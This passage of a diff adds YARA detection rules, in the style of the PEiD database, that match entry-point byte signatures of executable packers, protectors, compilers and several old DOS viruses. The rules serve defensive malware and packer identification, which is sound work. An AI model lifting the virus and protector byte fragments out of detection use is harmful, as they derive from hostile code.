+		$0 = {E8 ?? ?? B4 30 CD 21 3C 03 ?? ?? B8 ?? ?? BA ?? ?? CD 21 81 FA ?? ?? ?? ?? BA ?? ?? 8C C0 48 8E C0 8E D8 80 ?? ?? ?? 5A ?? ?? 03 ?? ?? ?? 40 8E D8 80 ?? ?? ?? 5A ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Metrowerks_CodeWarrior_v20_GUI_
+{
+	meta:
+		description = "Metrowerks CodeWarrior v2.0 (GUI)"
+	strings:
+		$0 = {55 89 E5 53 56 83 EC 44 55 B8 FF FF FF FF 50 50 68 ?? ?? 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_FSG_10_
+{
+	meta:
+		description = "PseudoSigner 0.2 [FSG 1.0]"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v104__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.04 -> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _PENightMare_2_Beta_
+{
+	meta:
+		description = "PENightMare 2 Beta"
+	strings:
+		$0 = {60 E9 ?? ?? ?? ?? EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _MASM__TASM_
+{
+	meta:
+		description = "MASM / TASM"
+	strings:
+		$0 = {6A 00 E8 ?? ?? 00 00 A3 ?? 32 40 00 E8 ?? ?? 00 00}
+	condition:
+		$0
+}
+rule _Cracked_by_AutoHack_1_
+{
+	meta:
+		description = "Cracked by AutoHack (1)"
+	strings:
+		$0 = {FA 50 51 57 56 1E 06 2E 80 3E ?? ?? ?? 74 ?? 8E 06 ?? ?? 2B FF FC}
+	condition:
+		$0 at entrypoint
+}
+rule _UPolyX_0x__Delikon_
+{
+	meta:
+		description = "UPolyX 0.x -> Delikon"
+	strings:
+		$0 = {81 FD 00 FB FF FF 83 D1 ?? 8D 14 2F 83 FD FC 76 ?? 8A 02 42 88 07 47 49 75}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_Pro_112_
+{
+	meta:
+		description = "SDProtector Pro 1.12"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16d__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6d --> Vaska"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68}
+		$1 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SVK_Protector_v13x_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector v1.3x (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v029_
+{
+	meta:
+		description = "PC Shrinker v0.29"
+	strings:
+		$0 = {BD ?? ?? ?? ?? 01 AD 55 39 40 ?? 8D B5 35 39 40}
+	condition:
+		$0 at entrypoint
+}
+rule _RLP_V073beta__ap0x__Sign_by_fly_
+{
+	meta:
+		description = "RLP V0.7.3.beta -> ap0x ! Sign by fly"
+	strings:
+		$0 = {2E 72 6C 70 00 00 00 00 00 50 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0}
+	condition:
+		$0
+}
+rule _PIRIT_v15_
+{
+	meta:
+		description = "PIRIT v1.5"
+	strings:
+		$0 = {B4 4D CD 21 E8 ?? ?? FD E8 ?? ?? B4 51 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_40_
+{
+	meta:
+		description = "Crunch/PE 4.0"
+	strings:
+		$0 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+	condition:
+		$0
+}
+rule _PEEncrypt_v40b_JunkCode_
+{
+	meta:
+		description = "PEEncrypt v4.0b (JunkCode)"
+	strings:
+		$0 = {66 ?? ?? 00 66 83 ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yzpack_V20__UsAr_
+{
+	meta:
+		description = "yzpack V2.0 -> UsAr"
+	strings:
+		$0 = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v071__v072_
+{
+	meta:
+		description = "UPX v0.71 - v0.72"
+	strings:
+		$0 = {60 E8 00 00 00 00 83 CD FF 31 DB 5E 8D BE FA ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 81 C6 B3 01 ?? ?? EB 0A ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_MSVCpp_DLL_Method_4__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake MSVC++ DLL Method 4) -> emadicius (h)"
+	strings:
+		$0 = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_DxPack_10_
+{
+	meta:
+		description = "PseudoSigner 0.2 [DxPack 1.0]"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v25_Retail__Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact v2.5 Retail -> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPolyX_V01__Delikon_
+{
+	meta:
+		description = "UPolyX V0.1 -> Delikon"
+	strings:
+		$0 = {E2 ?? FF ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _3DMark_Database_file_
+{
+	meta:
+		description = "3DMark Database file"
+	strings:
+		$0 = {33 44 4D 61 72 6B 20 44 61 74 61 62 61 73 65 20 46 69 6C 65}
+	condition:
+		$0
+}
+rule _CrypKey_V56X__Kenonic_Controls_Ltd_
+{
+	meta:
+		description = "CrypKey V5.6.X -> Kenonic Controls Ltd."
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 00 75 07 6A 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Trivial46_
+{
+	meta:
+		description = "Vx: Trivial.46"
+	strings:
+		$0 = {B4 4E B1 20 BA ?? ?? CD 21 BA ?? ?? B8 ?? 3D CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_LCC_Win32_1x__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [LCC Win32 1.x] -> Anorganix"
+	strings:
+		$0 = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v113_
+{
+	meta:
+		description = "HACKSTOP v1.13"
+	strings:
+		$0 = {52 B8 ?? ?? 1E CD 21 86 E0 3D ?? ?? 73 ?? CD 20 0E 1F B4 09 E8 ?? ?? 24 ?? EA}
+	condition:
+		$0 at entrypoint
+}
+rule _CRYPToCRACks_PE_Protector_V092__Lukas_Fleischer__Sign_by_fly_
+{
+	meta:
+		description = "CRYPToCRACk's PE Protector V0.9.2 -> Lukas Fleischer ! Sign by fly"
+	strings:
+		$0 = {E8 01 00 00 00 E8 58 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 37 84 DB 75 33 8B F3 03 ?? ?? 81 3E 50 45 00 00 75 26}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeShield_Protector_V36__wwwexeshieldcom_
+{
+	meta:
+		description = "ExeShield Protector V3.6 -> www.exeshield.com"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260c_
+{
+	meta:
+		description = "Armadillo v2.60c"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 F4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _Celsius_Crypt_21__Z3r0_
+{
+	meta:
+		description = "Celsius Crypt 2.1 -> Z3r0"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 84 92 44 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 84 92 44 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D C4 92 44 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D AC 92 44 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 77 C2 00 00 90 90 90 90 90 90 90 55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+		$1 = {55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Morphnah_Beta__Kas_
+{
+	meta:
+		description = "Morphnah Beta -> Kas"
+	strings:
+		$0 = {2E 6E 61 68 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 A0 00 00 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v70_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.0"
+	strings:
+		$0 = {6A 0C 68 88 BF 01 10 E8 B8 1C 00 00 33 C0 40 89 45 E4 8B 75 0C 33 FF 3B F7 75 0C 39 3D 6C 1E 12 10 0F 84 B3 00 00 00 89 7D FC 3B F0 74 05 83 FE 02 75 31 A1 98 36 12 10 3B C7 74 0C FF 75 10 56}
+		$1 = {6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 89 65 ?? 8B F4 89 3E 56 FF 15 ?? ?? ?? ?? 8B 4E ?? 89 0D ?? ?? ?? ?? 8B 46 ?? A3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE__yy66_
+{
+	meta:
+		description = "ÐÄÆæEXEºÏ²¢Æ÷ -> yy66"
+	strings:
+		$0 = {68 78 18 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30}
+	condition:
+		$0 at entrypoint
+}
+rule _DzA_Patcher_v13_Loader_
+{
+	meta:
+		description = "DzA Patcher v1.3 Loader"
+	strings:
+		$0 = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35 48 20 40 00 E8 C2 00 00 00 E8 C8 FF FF FF BF 40 40 40 00 FF 35 4C 20 40 00 E8 A1 00 00 00 8B 0F 83 F9 00 74 B1 60 6A 00 6A 04 6A 01 51 FF 35 48 20 40 00 E8 75 00 00 00 61 60 BB 5C 20 40 00 6A 00 6A 01 53 51 FF 35 48 20 40 00 E8 75 00 00 00 61 A0 5C 20 40 00 8A 5F 05 3A C3 74 14 FF 35 4C 20 40 00 E8 4B 00 00 00 6A 03 E8 4A 00 00 00 EB A2 60 8D 5F 04 6A 00 6A 01 53 51 FF 35 48 20 40 00 E8 4B 00 00 00 61 83 C7 06 FF 35 4C 20 40 00 E8 1E 00 00 00 6A 03 E8 1D 00 00 00 E9 72 FF FF FF FF 25 70 30 40 00 FF 25 78}
+	condition:
+		$0
+}
+rule _Vx_Eddie2000_
+{
+	meta:
+		description = "Vx: Eddie.2000"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C5 ?? ?? ?? B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v102b_
+{
+	meta:
+		description = "ASPack v1.02b"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _IBM_PictureMaker_graphics_file_
+{
+	meta:
+		description = "IBM PictureMaker graphics file"
+	strings:
+		$0 = {00 ?? C1 ?? 00 ?? ?? ?? ?? 02 00 01}
+	condition:
+		$0
+}
+rule _ExeTools_v21_Encruptor_by_DISMEMBER_
+{
+	meta:
+		description = "ExeTools v2.1 Encruptor by DISMEMBER"
+	strings:
+		$0 = {E8 ?? ?? 5D 83 ?? ?? 1E 8C DA 83 ?? ?? 8E DA 8E C2 BB ?? ?? BA ?? ?? 85 D2 74}
+	condition:
+		$0 at entrypoint
+}
+rule _HideProtect_V10X_SoftWar_Company_
+{
+	meta:
+		description = "Hide&Protect V1.0X-> SoftWar Company"
+	strings:
+		$0 = {90 90 90 E9 D8}
+	condition:
+		$0 at entrypoint
+}
+rule _Frusion__biff_
+{
+	meta:
+		description = "Frusion -> biff"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 68 04 01 00 00 C7 44 24 14}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_LCC_Win32_1x_
+{
+	meta:
+		description = "PseudoSigner 0.2 [LCC Win32 1.x]"
+	strings:
+		$0 = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1311__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.1.1 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2021_protected_IAT__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.0/2.1 (protected IAT) -> www.strongbit.com"
+	strings:
+		$0 = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_1991_
+{
+	meta:
+		description = "Borland C++ 1991"
+	strings:
+		$0 = {2E 8C 06 ?? ?? 2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_10_Demo__12__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.0 Demo / 1.2 -> SIS-Team"
+	strings:
+		$0 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C}
+	condition:
+		$0
+}
+rule _hmimysPacker_10_
+{
+	meta:
+		description = "hmimys-Packer 1.0"
+	strings:
+		$0 = {E8 BA 00 00 00 03 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DragonArmor__Orient_
+{
+	meta:
+		description = "DragonArmor -> Orient"
+	strings:
+		$0 = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3}
+		$1 = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 5C ?? ?? 00 E8 C0 09 00 00 8B 1D 04 ?? ?? 00 83 C4 0C 68 5C ?? ?? 00 56 FF D3 A3 D4 ?? ?? 00 BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 5C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Uddy2617_
+{
+	meta:
+		description = "Vx: Uddy.2617"
+	strings:
+		$0 = {2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? 8C C8 8E D8 8C ?? ?? ?? 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? 8C C8 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? B8 AB 9C CD 2F 3D 76 98}
+	condition:
+		$0 at entrypoint
+}
+rule _RLP_073beta__ap0x_h_
+{
+	meta:
+		description = "RLP 0.7.3beta -> ap0x (h)"
+	strings:
+		$0 = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56}
+	condition:
+		$0
+}
+rule _CA_Visual_Objects_20__25_
+{
+	meta:
+		description = "CA Visual Objects 2.0 - 2.5"
+	strings:
+		$0 = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB}
+		$1 = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB ?? ?? ?? ?? C7 03 44 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DIET_v100_v100d_
+{
+	meta:
+		description = "DIET v1.00, v1.00d"
+	strings:
+		$0 = {BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extractable_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extractable)"
+	strings:
+		$0 = {03 05 00 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _SecuPack_v15_
+{
+	meta:
+		description = "SecuPack v1.5"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 ?? E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 ?? 64 FF 30 64 89 20 6A ?? 68 80 ?? ?? ?? 6A 03 6A ?? 6A 01 ?? ?? ?? 80}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_ASProtect_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ASProtect]"
+	strings:
+		$0 = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_November_17768_
+{
+	meta:
+		description = "Vx: November 17.768"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? 50 33 C0 8E D8 80 3E ?? ?? ?? 0E 1F ?? ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v0399__Dwing_
+{
+	meta:
+		description = "Upack v0.399 -> Dwing"
+	strings:
+		$0 = {0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00}
